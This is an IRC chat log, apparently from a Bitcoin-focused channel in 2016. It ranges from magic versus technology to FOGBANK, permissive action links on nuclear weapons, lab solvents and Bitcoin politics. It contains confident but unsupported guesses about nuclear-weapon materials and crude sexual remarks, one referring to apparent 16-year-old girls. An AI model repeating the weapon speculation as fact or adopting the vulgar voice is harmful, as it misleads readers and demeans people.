1468775;1463675758;asciilifeform;because wordz have meaningz? 1468776;1463675765;asciilifeform;that is is useful to distinguish the 2 ? 1468777;1463675767;mircea_popescu;i use "technology" to describe my numeric head-mathing, though most gurlz can't do it. 1468778;1463675782;asciilifeform;iirc mircea_popescu routinely taught it to the gurlz 1468779;1463675783;mircea_popescu;it is, to a degree and after a fashion, a talent. 1468780;1463675791;mircea_popescu;asciilifeform yes, but not to all :) to selected gurlz. 1468781;1463675815;asciilifeform;and yes, circus weight lifter has strength and he cannot teach the strength 1468782;1463675821;mircea_popescu;anyway - words have meaning ONLY IN CONTEXT. 1468783;1463675830;asciilifeform;erdos cannot teach me to be erdos but can write down the theorems. 1468784;1463675834;asciilifeform;for which he was famous. 1468785;1463675854;mircea_popescu;asciilifeform and how do you distinguish the theorems for which he WILL BE famous from the ones for which he will not be ? 1468786;1463675865;mircea_popescu;see, it's easy enough in retrsopect, to confound historical accident and meaning. 1468787;1463675871;asciilifeform;recall, gauss is still open, even. 1468788;1463675881;mircea_popescu;but try it prospectively, like a math teacher on a grad program. pick which kids do good work and which waste their lives. 1468789;1463675891;asciilifeform;^ this is surprisingly easy 1468790;1463675897;mircea_popescu;it's a technology, right ? by ytour notions of tech, math is the supertech. so then ? 1468791;1463675901;asciilifeform;and generally not-done for wholly political reasons. 1468792;1463675917;mircea_popescu;it's not surprisingly easy to do it usefully. it's very easy to do it when no one's doing it and there's a lot of low hanging fruit, 1468793;1463675936;mircea_popescu;then you can say like the butcher that moved into village and introduced hygiene, "i am a better surgeon than the guys in paris" 1468794;1463675954;mircea_popescu;but if it's actually useful to do, it can't fucking be done worth a shit. 1468795;1463675983;mircea_popescu;recall the example of the esteemed mr shockley, for instance. 1468796;1463675984;asciilifeform;if mircea_popescu is going into 'mathematical creativity has never been and likely will never be technologized' he is preaching to choir. 1468797;1463675988;mircea_popescu;or what, you think he was anti-talented ? 1468798;1463676004;asciilifeform;but on the other hand it is not wholly impossible to write something meaningful and useful re mathematical creativity. 1468799;1463676010;asciilifeform;i assume mircea_popescu read, e.g., polya 1468800;1463676020;mircea_popescu;asciilifeform well the problem with this choir is that it's made of apparent 16 yo girls who spend the night doing all manner of kinky stuff 1468801;1463676032;asciilifeform;or hell, hadamard 1468802;1463676032;mircea_popescu;and the day choir. 1468803;1463676054;asciilifeform;lel 1468804;1463676175;asciilifeform;thus far thread seems to compress to a very discouraging http://btcbase.org/log/2016-05-19#1468598 ; mircea_popescu: 'me an' the other wizards got vastly moar powerful!1111' asciilifeform: 'waiwut how' mircea_popescu: 'yer puny brain will never apprehend the smallest part of it' 1468805;1463676175;a111;Logged on 2016-05-19 15:51 asciilifeform: http://btcbase.org/log/2016-05-19#1468573 << i'ma bite this bait. tell me, what constructive thing have improvements in finance in past 30y enabled ? 1468806;1463676191;mircea_popescu;in fact, a useful heuristic to distinguish magic and technology, is that as the stakes increase, magic gets harder and technology easier to do. 1468807;1463676204;mircea_popescu;and by this measure, a good chunk of what you regard one is really the other and back again. 1468808;1463676301;mircea_popescu;to take a simple illustration : make this matchstick exactly 1 mn thick within 0.1% tolerance throughout it's length and i'll pay you a dollar is hard. make this rod of molybdenum 1 mm thick within 0.0000001% tolerance and i'll pay you a billion is easy. 1468809;1463676307;asciilifeform;to technologize is to break apart magic and make it repeatable - e.g., damascus steel was magic (gotta be in the right time, right place, use iron from here-and-here, and whisper the incantations yer grandfather taught you for good measure, and be of pure aryan blood, and ....) but then somebody builds mass spectrometer and today you can buy a damascus knife from helsinki 1468810;1463676320;mircea_popescu;meanwhile, "shit an atom of gold and i'll pay you a dollar" is easy. "shit a brick of gold and i'll pay you a billion" is very fucking hard. etc. 1468811;1463676349;mircea_popescu;asciilifeform there's not much to go on when one believes there's more substance than marketing to that "damascus" claim. 1468812;1463676407;asciilifeform;well the damascene pattern is there. but no, i did not personally buy these swords and go back in time to 14th c and fight with them for 20y 1468813;1463676413;asciilifeform;if mircea_popescu does, plox report back, i will read. 1468814;1463676517;mircea_popescu;well, they look the same, should be good enough for our technological needs :D 1468815;1463676600;mircea_popescu;anwyay, there's not so much difference between what we're saying. "make it repeatable" as you say is part of parcel of "economy of scale" as i say. 1468816;1463676660;asciilifeform;not simply scale. 1468817;1463676667;asciilifeform;it has to be communicable via dead words. 1468818;1463676677;mircea_popescu;but that's not what you said :) 1468819;1463676680;asciilifeform;in that sense, much of what we think of as technology, has not in fact yet been technologized. 1468820;1463676687;asciilifeform;(recall the 'fogbank' incident ?) 1468821;1463676690;mircea_popescu;repeatable is one thing ; but your idea of communicable is murky at best. 1468822;1463676700;mircea_popescu;which incident is this ? 1468823;1463676706;asciilifeform;$s fogbank 1468824;1463676709;asciilifeform;hm 1468825;1463676716;mircea_popescu;gotta get the logsearch already. 1468826;1463676725;trinque;phf: have an API? 1468827;1463676738;asciilifeform;http://www.armscontrolwonk.com/archive/201814/fogbank 1468828;1463676781;mircea_popescu;trinque were you also going to give him deedbot log access ? 1468829;1463676795;mircea_popescu;asciilifeform ah that's an actual thing ? 1468830;1463676800;mircea_popescu;i always thought it to be a sort of snipe pee. 1468831;1463676811;asciilifeform;mircea_popescu: good evidence that it was indeed a product 1468832;1463676823;asciilifeform;a sort of styrofoam 1468833;1463676847;mircea_popescu;aite. 1468834;1463676852;asciilifeform;with particular neutron cross-section 1468835;1463676881;mircea_popescu;so what's lost here ? very thin foams are well understood 1468836;1463676890;trinque;mircea_popescu: yeah we can work that out too 1468837;1463676935;mircea_popescu;cool. 1468838;1463676940;asciilifeform;mircea_popescu: story is, the particulars of making just-that (and it had to be just-that, on account of the detonation process) foam, were never fully written down 1468839;1463676955;mircea_popescu;heh. 1468840;1463676957;asciilifeform;as it turned out to have a hidden dependence on an impurity which was present in the feedstock at the time 1468841;1463676971;mircea_popescu;ah and they can't make it now ? 1468842;1463676974;asciilifeform;but ~no longer~ present in 2000s when they resumed production 1468843;1463676981;mircea_popescu;this smacks of so much disinfo... but anyway. 1468844;1463676990;asciilifeform;they spent, supposedly, a few 100 mil, massive failures 1468845;1463677004;mircea_popescu;so this was a technology yes 1468846;1463677005;mircea_popescu;:))) 1468847;1463677018;mircea_popescu;understood and reproducible. at least generally speaking. 1468848;1463677024;asciilifeform;and eventually had to reverse-engineer old samples and found the missing 'gotta have trace elements x, y, z' 1468849;1463677053;asciilifeform;anyway i was not there, and cannot say how much the entire story was simply a cover for embezzling half a bil usd 1468850;1463677069;mircea_popescu;but the implications for your position are pretty lulzy, wouldn't you say ? 1468851;1463677072;asciilifeform;but it reads like an elementary 'damascus steel' 1468852;1463677073;mircea_popescu;was it really magic ? 1468853;1463677100;mircea_popescu;(think about it - dead words failed to convey it. in spite of everyone's best effort) 1468854;1463677145;asciilifeform;i was specifically citing example of failed technologizing 1468855;1463677157;asciilifeform;(whether real, or fictional in whole or part, i obviously do not know) 1468856;1463677158;mircea_popescu;what is this "Failed technologizing" mean ? 1468857;1463677171;asciilifeform;when you ~think~ you have reduced the item to a recipe of dead words 1468858;1463677183;asciilifeform;but in fact the would-be maker still needs the right unobtainium 1468859;1463677191;mircea_popescu;but this is universally the case. 1468860;1463677201;mircea_popescu;name one item that is not in this situation. 1468861;1463677207;asciilifeform;long division? 1468862;1463677223;mircea_popescu;ok but i said item. 1468863;1463677229;asciilifeform;axe. 1468864;1463677245;mircea_popescu;tell me ? 1468865;1463677266;asciilifeform;long handle, heavy head with sharp edge. 1468866;1463677270;asciilifeform;can go, make. 1468867;1463677276;asciilifeform;even if yer an eskimo. 1468868;1463677286;mircea_popescu;this sounds like a flanged mace ? 1468869;1463677343;asciilifeform;axe is communicable, hence ~everybody who wasn't genetically damaged, had'em. 1468870;1463677393;mircea_popescu;but you communicated axe and i ended up with a flanged mace. http://www.therionarms.com/reenact/therionarms_c1306b.jpg << is this your axe ? 1468871;1463677413;asciilifeform;i said 'edge' not 'edges' neh ? 1468872;1463677425;asciilifeform;where'd ya get so many. 1468873;1463677441;mircea_popescu;wasn't clear that part is intentionally meaningful. fine, consider same item with a single such spoke 1468874;1463677461;asciilifeform;at any rate, 'resistance of medium', this is not a place where a primitive axe-maker is likely to wander into 1468875;1463677467;asciilifeform;hard enough to give a stone 1 edge. 1468876;1463677474;mircea_popescu;(note how you keep trying to brace yourself against unstated convention, "of course you would understand this is not the item because that'd breach symmetry and we have a convention re symmetry") 1468877;1463677483;mircea_popescu;aha! quite exactly. 1468878;1463677491;mircea_popescu;not even the fucking axe is "fully technologized" 1468879;1463677499;mircea_popescu;because everything everyone ever does has some medium involved. 1468880;1463677538;asciilifeform;well yes, if i were in the position of the hero of that one asimov story where he is trying to communicate what humans look like over radio, but he has no idea even which way their displays scan, or what the hell they use to decode signal in the first place, 1468881;1463677545;asciilifeform;i would have a bit of a tougher cookie on my hands 1468882;1463677572;asciilifeform;(communicate to intergalactic whateverthefucks) 1468883;1463677576;mircea_popescu;even your "primitive man won't stray" argument is broken, as you stop midway. a) the point of his following your recipe is that he got off lazy butt ; if he doesn't, he doesn't AT ALL. why would he get off lazy butt JUST AS FAR as you imagine he would and no further ? 1468884;1463677594;mircea_popescu;the same sort of thought process is involved (for him) when he decides to make the axe at all and when he decides to make singlespoked flanged mace. 1468885;1463677624;asciilifeform;this would happen if he lived in some heavenly vacuum where the purpose of the axe is entirely unclear 1468886;1463677634;asciilifeform;but on the other hand if he knows that it is to cut heads with. 1468887;1463677642;asciilifeform;(heads, trees, ...) 1468888;1463677642;mircea_popescu;but if the "purpose" of the axe (as you imagine it) is unspoken part of the design, 1468889;1463677646;mircea_popescu;then the design is for a magic item 1468890;1463677650;mircea_popescu;no "dead words" form. 1468891;1463677664;asciilifeform;granted it #includes 1468892;1463677666;mircea_popescu;quite very live words. 1468893;1463677676;asciilifeform;and sometimes 1468894;1463677678;asciilifeform;etc 1468895;1463677686;mircea_popescu;soon enough you're going to re-discover post-structuralism at this rate, and end up understanding what i meant by context above. 1468896;1463677693;asciilifeform;neh i get it 1468897;1463677701;mircea_popescu;*thumbsup* 1468898;1463677711;asciilifeform;but this is still quite apart from 'my anal telepathy muscles are ineffable and stfu finance made progress' 1468899;1463677729;mircea_popescu;yeah, apart because of how familiar you are with either. 1468900;1463677731;mircea_popescu;this speaks not of it. 1468901;1463677783;asciilifeform;waiwut 1468902;1463677872;mircea_popescu;how familiar you are with making axes vs making aerogels does not establish if making axes or making aerogels is "magic", it just establishes how familiar you are with them. 1468903;1463677896;asciilifeform;noshit.jpg 1468904;1463677905;asciilifeform;but i dare say i have a handle on 'technology' vs 'magic' 1468905;1463677915;mircea_popescu;sure, like aquinas' beauty. 1468906;1463677923;asciilifeform;can be taught - technology. 'must be aryan, and live on mt. parnassus' - magic. 1468907;1463677941;asciilifeform;and recall how it is my profession to cut things ? 1468908;1463677951;asciilifeform;specifically to cut off the parnassus. 1468909;1463677956;asciilifeform;because they are annoying. 1468910;1463677962;mircea_popescu;lmao. 1468911;1463677970;mircea_popescu;you know what the literary model for this is ? 1468912;1463677977;asciilifeform;hm? 1468913;1463677981;mircea_popescu;the grinch. 1468914;1463677985;asciilifeform;possibly. 1468915;1463678017;mircea_popescu;nttawwt. 1468916;1463678035;asciilifeform;relatedly: 1468917;1463678044;asciilifeform;'In the one-page Errata in the December 1979 issue, I explained that the turkey in the oven is a plastic "channel filler" which captures x-ray energy and explodes with enormous force, purely as the result of getting very hot very fast (ten million degrees in half a microsecond). In the original H-bomb article, I had described the conditions inside the radiation channel in terms of "a gas of photons." For my revised explanation in the 1468918;1463678045;asciilifeform; Errata, which I dubbed "exploding styrofoam," the corresponding phrase would be "a gas of electrons." The implosion of the secondary is driven by matter pressure, not radiation pressure. Incidentally, Dow Chemical complained that Styrofoam is a trademark, like Xerox, and that nuclear weapons do not contain Styrofoam. Point conceded; the foam is generic. ... I like the idea of a nuisance material, plastic foam, as the real secret of 1468919;1463678047;asciilifeform;the H-bomb. It symbolizes the banality of evil which is the essence of the whole H-bomb business. Workaday people doing workaday jobs building doomsday machines based on 1950's technology, while civilization marches bravely into the new millennium, oblivious to the death sentence imposed by a secret technology involving plastic foam. It calls to mind the most famous line from The Graduate, "One word: plastics."' 1468920;1463678062;asciilifeform;( http://www.fas.org/sgp/eprint/morland.html ) 1468921;1463678096;mircea_popescu;meh. 1468922;1463678111;mircea_popescu;anyway, sounds like some sort of boron carbide. 1468923;1463678117;mircea_popescu;not in any sense plastic. 1468924;1463678135;mircea_popescu;and since it's gas-based, prolly heated by means of the gas being a neutron poison. xenon. 1468925;1463678151;asciilifeform;same mornald as in intro of my old article ( http://www.loper-os.org/?p=1323 ) incidentally. 1468926;1463678154;asciilifeform;*morland 1468927;1463678181;mircea_popescu;i wonder if the logs will end up classified now also. 1468928;1463678206;asciilifeform;Officially !111111 1468929;1463678214;asciilifeform;i shit thee not, this is the actual law in usa since '50s 1468930;1463678230;mircea_popescu;heh. 1468931;1463678239;*;mircea_popescu looks through his periodic table, that great tool of war. 1468932;1463678289;asciilifeform;which is why anyone with usg 'ts' reading the logz is technically in a state of sin, and subject to disrobing, unless specifically blessed by u.s. DOE 'q clearance' pope. 1468933;1463678339;mircea_popescu;yeah, boron not aluminum. 1468934;1463678383;asciilifeform;(phun phakt, there are 2 wholly separate pyramids of 'clearance' in usa; DOE (atomic) and DOD (pentagon) 1468935;1463678383;asciilifeform;) 1468936;1463678397;asciilifeform;non-transferrable!111111 1468937;1463678404;mircea_popescu;there, the official free world reconstruction of "fogbank" : B4C foam with a xe-135 filling. 1468938;1463678427;mircea_popescu;do the calcs on it beging anywhere close to a critical core if bored one day. "electron gas" exactly. 1468939;1463678436;asciilifeform;aha. 1468940;1463678443;mircea_popescu;"plastic" my fucking left foot. 1468941;1463678459;asciilifeform;at any rate ru folks were never hung up on no stinkin' foamz. 1468942;1463678471;mircea_popescu;yeah, they used sheepskins. 1468943;1463678476;asciilifeform;among sane folk it is small piece of the cost. 1468944;1463679012;mircea_popescu;in that drawing, "modern security features added to render useless in the wrong hands" prolly means 1kb rsa with exponent 35, amirite 1468945;1463679027;asciilifeform;we had the thread! 1468946;1463679032;asciilifeform;$s permissive action link 1468947;1463679034;mircea_popescu;aok 1468948;1463679035;asciilifeform;ah damn 1468949;1463679061;asciilifeform;anyway it was the thing where the detonator timings are derived from passphrase that gets piped in through jack on the bomb chassis 1468950;1463679079;mircea_popescu;the notion that you can make a) a physical object that b) does something and yet c) is safe in hands of adversary is so fucking lulzy. 1468951;1463679097;asciilifeform;essentially symmetrically-ciphered firmware 1468952;1463679116;asciilifeform;but famous largely for how most american nukez ~lacked it~ 1468953;1463679118;mircea_popescu;asciilifeform problem is i take off that chip and fuzz it. 1468954;1463679139;asciilifeform;mircea_popescu: fuzz what? it will happily pop, but with wrong timings 1468955;1463679142;asciilifeform;--> fizzl 1468956;1463679144;asciilifeform;e 1468957;1463679164;mircea_popescu;it's a black box circuit, i measure all its outputs for known inputs. 1468958;1463679177;asciilifeform;but idea being, you don't know the desired outputs. 1468959;1463679187;mircea_popescu;right. 1468960;1463679191;asciilifeform;because they are part of the valuable mojo that went into crafting the thing 1468961;1463679198;mircea_popescu;the other idea being that their chip is shit. 1468962;1463679200;asciilifeform;and aren't actually present in the stolen box. 1468963;1463679222;mircea_popescu;and i'll recover them through any of the numerous cryptanalysis tricks available. 1468964;1463679230;asciilifeform;again, they ~aren't in there~ 1468965;1463679235;mircea_popescu;who aren't ? 1468966;1463679239;asciilifeform;the params 1468967;1463679252;mircea_popescu;aren't in where ? 1468968;1463679257;asciilifeform;the bomb. 1468969;1463679263;mircea_popescu;sure. so ? 1468970;1463679303;asciilifeform;iirc the way it worked was that the actual timing constants needed for yield Y, e.g., 'pop squib s1, then after t1 ns, squib s2... then after tN, run neutron gen tube for tN' ns, ...' 1468971;1463679308;asciilifeform;weren't in the box 1468972;1463679312;asciilifeform;you had to key'em in. 1468973;1463679316;asciilifeform;before dropping the bomb. 1468974;1463679327;mircea_popescu;sure. so you have a chip, that takes say 4 inputs, and generates say 3 outputs. 1468975;1463679341;mircea_popescu;i put this chip on a breadboard, and feed all possible input combinations to it, note down all that comes out. 1468976;1463679403;asciilifeform;and ...? 1468977;1463679415;deedbot;[Qntra] Bayer Bidding For Monsanto - http://qntra.net/2016/05/bayer-bidding-for-monsanto/ 1468978;1463679430;asciilifeform;idea is that to get the desired answers, you have to properly reverse-engineer, and grasp, the bomb geometry. 1468979;1463679444;asciilifeform;which is a good chunk of the work of building the thing to begin with. 1468980;1463679445;mircea_popescu;and then have a physics team to sort outputs in order of likelihood and a cs team to rebuild the chip from scratch. 1468981;1463679456;asciilifeform;originally there wasn't even a chip, just analogue knobs. 1468982;1463679465;asciilifeform;it wasn't a security-by-obscurity thing 1468983;1463679470;mircea_popescu;right, and im well persuaded the current item is just a glorified enigma machine 1468984;1463679485;mircea_popescu;ie, decent physicist takes one look at list of possible outputs and picks the right one. 1468985;1463679522;asciilifeform;'decent physicist' who took the entire thing apart, measured the actual geometries of everything, incl. thickness of gold plating on the pu pit, etc 1468986;1463679527;asciilifeform;massive headache 1468987;1463679535;asciilifeform;and if you can do this, you probably already own nuke 1468988;1463679546;mircea_popescu;well if i can steal one, also. 1468989;1463679562;mircea_popescu;tey said "wrong hands", they didn't fucking say "reddit's hands" 1468990;1463679584;asciilifeform;whole thing was intended as ~anti-theft~ measure, against 'indian who found the rifle on dead english' 1468991;1463679586;mircea_popescu;i guess the ustards imagines itself in the glorified position where all non-orcs are friendly. 1468992;1463679596;mircea_popescu;come to think of it, tyhe usg aspires to be tmsr in more ways than one, huh. 1468993;1463679605;asciilifeform;this is the explicit doctrine of 'anti-proliferation' from the get-go 1468994;1463679614;asciilifeform;ever since they made peace with the su bomb 1468995;1463679644;mircea_popescu;heh. 1468996;1463679670;asciilifeform;incidentally, iirc the 'enter constants before launch' thing was originally 'dial-a-yield' 1468997;1463679674;asciilifeform;rather than security measure 1468998;1463679705;asciilifeform;it was so that 'hey i have a tank column here and berlin is 50km away, i need moar neutrons and less thermal' 1468999;1463679720;mircea_popescu;come to think of it, the idea of using acetonitrile is very bizarre. much better polar solvents exist ; unless the remarkably high dielectric constant of the substance is useful. 1469000;1463679726;mircea_popescu;i guess it must be. 1469001;1463679741;asciilifeform;likely it was used simply in manufacture 1469002;1463679746;asciilifeform;rather than in shipped product 1469003;1463679758;mircea_popescu;yes. but why use this headache when much better solvents available 1469004;1463679768;mircea_popescu;unless, again, the dielectric is a major part of what "better" means. 1469005;1463679777;asciilifeform;(aggressive solvent, a place where i used to wurk had massive tanks hooked to dna synthesizer, to clean the pipez) 1469006;1463679780;BingoBoingo;Or better solvent ruins it. 1469007;1463679789;mircea_popescu;BingoBoingo can always dilute. 1469008;1463679809;BingoBoingo;What if dilution agents ruin it? 1469009;1463679815;mircea_popescu;i guess. 1469010;1463679820;asciilifeform;you prolly need the polar aprotic aspect 1469011;1463679826;asciilifeform;for the foam-making 1469012;1463679830;BingoBoingo;Or need that solvent to get the exact right contaminants fixed? 1469013;1463679919;mircea_popescu;acetone just as aprotic. or thf. 1469014;1463679972;asciilifeform;PeterL still around ? 1469015;1463679977;mircea_popescu;note how they stand : thf, massively used, because relatively safe - million tons produced a year or such. yet, dielectric < 10 1469016;1463679980;asciilifeform;perhaps he knew why. 1469017;1463679991;mircea_popescu;acetone, barely 20, also rather volatile if not as toxic. 1469018;1463680034;mircea_popescu;of course, dmso would be even dielectrical-er, but hm. 1469019;1463680051;mircea_popescu;o look at that... twice the boiling point. aww! 1469020;1463680079;mircea_popescu;so the boron carbide with xenon filling aerogel production process involves electromagnetics and evaporation. SCIENCE! 1469021;1463680153;asciilifeform;whatever it was, the re-discoverers billed 200+m usd. 1469022;1463680271;mircea_popescu;or maybe dmso was really too toxic (that thing is a riot) and thf acvtually dissolves borones and so ... 1469023;1463680273;mircea_popescu;anyway. 1469024;1463680290;asciilifeform;or they couldn't find monkeys willing to dmso 1469025;1463680297;asciilifeform;(see l0gz re asciilifeform and dmso!) 1469026;1463680301;mircea_popescu;lol 1469027;1463680308;mircea_popescu;does it really taste like garlic ? 1469028;1463680313;asciilifeform;where is the moterfuckign $s 1469029;1463680321;asciilifeform;mircea_popescu: 'taste' 1469030;1463680335;asciilifeform;go try yourself. 1469031;1463680336;mircea_popescu;whtwere you doing with it again, spectrometry ? 1469032;1463680340;mircea_popescu;lol ty, i'll pass. 1469033;1463680372;asciilifeform;we were doing 'high throughput screening' of compounds from massive library of random crud 1469034;1463680376;asciilifeform;(in vitro) 1469035;1463680424;asciilifeform;there was robot, which i was reversing and writing soft for, but meanwhile actual work was done by gurlz 1469036;1463680440;asciilifeform;in porous gloves. 1469037;1463680459;mircea_popescu;o,o 1469038;1463680466;asciilifeform;aha, story is in the l0gz 1469039;1463680518;asciilifeform;>> http://btcbase.org/log/2013-11-13#378362 << 1469040;1463680518;a111;Logged on 2013-11-13 14:20 asciilifeform: we had a beautifully-educational incident with DMSO 1469041;1463680607;mircea_popescu;ah! 1469042;1463680645;mircea_popescu;dude the noise in the logs d'antan 1469043;1463683887;asciilifeform;in other nyooz, re 'ic fab in kitchen', 1469044;1463683888;asciilifeform;http://monster6502.com/?ct=t(2016_WDC_Digital_65xx_Voice_Newsletter_2016) 1469045;1463683912;asciilifeform;'disintegrated circuit' 1469046;1463683995;asciilifeform;3218 transistors... 1469047;1463685197;asciilifeform;in otherlulz, 1469048;1463685200;asciilifeform;http://seclists.org/oss-sec/2016/q2/371 1469049;1463685210;asciilifeform;'I find it very disturbing that there seems to be very little response from popular OS distributions to this issue. Most do not appear to have issued any package updates to close the shell exploit. Perhaps the opinion is that major new versions will be introduced as part of major distribution releases and it is ok for users to exposed to problems for two or three years.' 1469050;1463685559;mircea_popescu;heh. 1469051;1463685572;mircea_popescu;laaarge train of "unblessed" vulns etc. 1469052;1463685677;mircea_popescu;the sad truth underneath this all is, that the "computer [security] industry" has slowly became dependent on usg-sponsored burnings to the degree that unless weimer and co actually write all the stuff and put it out, they can't do it on their own, in any sort of timeframe. 1469053;1463685728;mircea_popescu;there's now and again cases when actual forces hostile to usg do the whole thing, but when genuine independent research occurs... well. this. 1469054;1463686141;asciilifeform;tends to get phuctored. 1469055;1463686786;asciilifeform;in other slightly time-delayed lulz, 1469056;1463686788;asciilifeform;http://www.vox.com/2016/4/18/11434098/alt-right-explained 1469057;1463686804;asciilifeform;^ mr mold gets the hanno boeck treatment 1469058;1463687439;mircea_popescu;aww. 1469059;1463687471;mircea_popescu;why do all these people put so much effort into creating some sort of label/brand/title for themselves anyway 1469060;1463687519;mircea_popescu;dude wtf am i reading. 1469061;1463687614;mircea_popescu;he read unspecified "central texts" and references some william buckley. who the fuck is william buckley ? turns out, a tv show host. 1469062;1463687666;mircea_popescu;$up PeterL 1469063;1463687670;deedbot;PeterL voiced for 30 minutes. 1469064;1463687696;asciilifeform;buckley was iirc the closest thing to organized sanity in his period/usa. 1469065;1463687713;asciilifeform;or hm nm 1469066;1463687716;asciilifeform;that was j birch 1469067;1463687726;mircea_popescu;look. a tv host can not be anything. 1469068;1463687726;asciilifeform;$up PeterL 1469069;1463687727;deedbot;PeterL voiced for 30 minutes. 1469070;1463687728;PeterL;http://btcbase.org/log/2016-05-19#1468999 << not sure why you think acetonitrile is bizarre, I use it lots 1469071;1463687728;a111;Logged on 2016-05-19 17:42 mircea_popescu: come to think of it, the idea of using acetonitrile is very bizarre. much better polar solvents exist ; unless the remarkably high dielectric constant of the substance is useful. 1469072;1463687750;asciilifeform;mircea_popescu: aha, i mixed him up with birch 1469073;1463687759;mircea_popescu;PeterL they use lots of it, and constantly bitch about how expensive it is to handle. 1469074;1463687766;asciilifeform;it is expensive because osha 1469075;1463687770;asciilifeform;not because expensive. 1469076;1463687798;mircea_popescu;whatever be the case. PeterL presumably has a very legitimate need for it, being in the business of organics. these schmucks making advanced clays however... not so much. 1469077;1463687805;mircea_popescu;either that or i don' tunderstand something. 1469078;1463687813;PeterL;and solubility is not exactly linear with polarity 1469079;1463687821;mircea_popescu;this is true 1469080;1463687825;PeterL;depends on other factors as well 1469081;1463688034;PeterL;http://btcbase.org/log/2016-05-17#1467867 << yes, nursing mothers commonly leak milk. There are adsorbent pads you can put under her bra to adsorb it. 1469082;1463688034;a111;Logged on 2016-05-17 21:54 asciilifeform: http://btcbase.org/log/2016-05-14#1466468 << important question that perhaps only mircea_popescu could answer: is there a 'background lactation' ? 1469083;1463688046;asciilifeform;PeterL: discussion was about NON-NURSING women 1469084;1463688051;asciilifeform;and whether ~these~ leak milk. 1469085;1463688088;asciilifeform;thing is a variation on sweat gland, after all. 1469086;1463688101;PeterL;my sister-in-law started leaking after spending a day at the maternity ward when my daughter was born, she had weaned her kid about a year before that 1469087;1463688135;mircea_popescu;this is pretty well known, sure. actually screaming on a reasonable frequency will get recent mommies all lactating in a social setting. 1469088;1463688239;asciilifeform;mircea_popescu: 'vox' article linked because it is a handy illustration of how usg 't-cells' attack whatever foreign object. mr mold is getting same treatment, for nth year in a row now, as phuctor for past yr. i.e. sprayed in coating of 'pre-discredited, move along' claptrap 1469089;1463688555;hanbot; ^ Qntra Farm Report is back! Eat Moar Monsanto! << is there anti-monsanto graffiti in the us, btw? common theme here. also, "go home obama", from a few months ago. 1469090;1463688569;BingoBoingo;Not yet. 1469091;1463688577;asciilifeform;i will point out that we have 'go home obama' here. 1469092;1463688580;asciilifeform;or at least, had. 1469093;1463688789;asciilifeform;at any rate, with people being idiots, i fully expect 'bring back $1 burgerz, motherfuckers' graffiti after monsanto dies 1469094;1463688828;asciilifeform;and it will be done, by using moar ground up rat meat 1469095;1463688839;asciilifeform;pr0gr3555555. 1469096;1463688857;BingoBoingo;Nah, Bayer pretty much has to buy Monsanto 1469097;1463688871;asciilifeform;has to why ? 1469098;1463688881;BingoBoingo;For the branding 1469099;1463688888;asciilifeform;obummer will push button in his desk and angela merckel's shock collar will go off ? 1469100;1463688890;asciilifeform;if they don't 1469101;1463688899;BingoBoingo;Pretty much 1469102;1463688955;*;hanbot had to double-take whether there was "unilever" printed over a local "pizzalomo" ad on a building the other day 1469103;1463688960;hanbot;it wasn't, but prolly coming. 1469104;1463689091;asciilifeform;iirc mircea_popescu explained that ar is surrendering to usg 1469105;1463689132;phf;trinque: what kind api? 1469106;1463691866;mircea_popescu;surrendering ? nah, ar is the future of usg. 1469107;1463691899;trinque;phf: to implement a $s 1469108;1463691905;trinque;just whatever's passed to the search page as data 1469109;1463691960;trinque;sexps are fine 1469110;1463692044;mircea_popescu;asciilifeform i dun see how he needs any further spray for any purpose, the substance's self-discrediting enough. 1469111;1463692049;mircea_popescu;i suppose we don't agree on that score. 1469112;1463692348;trinque;anybody built sbcl on musl? 1469113;1463692359;*;trinque senses he will need his shitwaders for this 1469114;1463692683;shinohai;Went fishing with mircea_popescu , cayght a beauty: http://btcinfo.sdf.org/uploads/TRITON.jpg 1469115;1463693326;BingoBoingo;Congrats shinohai 1469116;1463693398;shinohai;>.> 1469117;1463693434;shinohai;testing a file upload script since I'm ditching imgur for good. 1469118;1463693457;BingoBoingo;Y not move to slimgr? 1469119;1463693477;shinohai;I tried earlier today, was 404 for me :/ 1469120;1463693561;mircea_popescu;ouch 1469121;1463693619;shinohai;"Whose a pain in the ass now bitch?" 1469122;1463699274;mircea_popescu;;;later tell copypaste btw the party's here --> #trilema 1469123;1463699274;gribble;The operation succeeded. 1469124;1463703241;shinohai;https://medium.com/the-coinbase-blog/what-happened-at-the-satoshi-roundtable-6c11a10d8cdf#.o9at5lmmf <<< ok guise classic failed so we're gonna try to scrounge up another set of devs "in the next month or two" 1469125;1463703263;asciilifeform;these won't run out any time soon 1469126;1463703268;asciilifeform;mit is wide. 1469127;1463703303;asciilifeform;'And if no perfect solution exists they seem ok with inaction, even if that puts bitcoin at risk.' << gold. 1469128;1463703328;asciilifeform;'Even though core says they are ok with a hard fork to 2MB (they have it on their own roadmap, just very far in the future), they refuse to prioritize it. They prefer to withhold something that could help the network now...' << these folks never give up 1469129;1463703430;asciilifeform;[various derpage re july halving] << can somebody explain why this halving is supposed to be a mega-apocalypse vs the LAST HALVING ?? 1469130;1463703431;shinohai;Because Brian Armstrong is an autistic retard. 1469131;1463703797;mircea_popescu;herp. 1469132;1463703833;mircea_popescu;asciilifeform many little things, all coincidental. 1469133;1463703868;asciilifeform;in mircea_popescu's picture, is it simply that the termites have gnawed long enough at the support columns ? 1469134;1463703888;mircea_popescu;basically, tmsr has been extremely effectual at murdering usg assets and crippling usg influence in bitcoin, this doth not sit well with them ; 1469135;1463703900;mircea_popescu;they had plans, none of which worked, their cost basis keeps exploding, which is not nice, 1469136;1463703915;mircea_popescu;the chinese are in a similar position mutatis mutandis etc. 1469137;1463703944;mircea_popescu;asciilifeform not so much that, moreover simple desperation. 1469138;1463704000;mircea_popescu;recall, the usg & friends, as well as any and all other wanna-be, pretended or otherwise power centers have been regularly humiliated. 1469139;1463704042;mircea_popescu;the options keep narrowing until it's either rage or quit. because obviously the correct and naturally-imposed solution of submit and humbly suck mp's cock is for some incomprehensible reason not on their plate. 1469140;1463704057;mircea_popescu;so the logical expectation is that they'll rage before they quit. 1469141;1463704075;asciilifeform;i did pr3d1ct!111111 1469142;1463704096;mircea_popescu;i guess so. 1469143;1463704100;asciilifeform;unheard-of marvels will be seen, e.g., minerz paid in megatonnes of fresh printolade, thread, & broken glass, not to mine 1469144;1463704115;asciilifeform;possibly the intel cluster will be brought up; 1469145;1463704122;asciilifeform;and other tiltatrons 1469146;1463704131;mircea_popescu;eh, that's not ready. 1469147;1463704141;asciilifeform;(7y is a plenty long time to set up nsa mine, neh ?) 1469148;1463704154;mircea_popescu;they started late, and suck at everything. 1469149;1463704158;shinohai;Coinbase is rebranding their exchange as well -added ETH like all the other hippies lately. 1469150;1463704177;mircea_popescu;shinohai 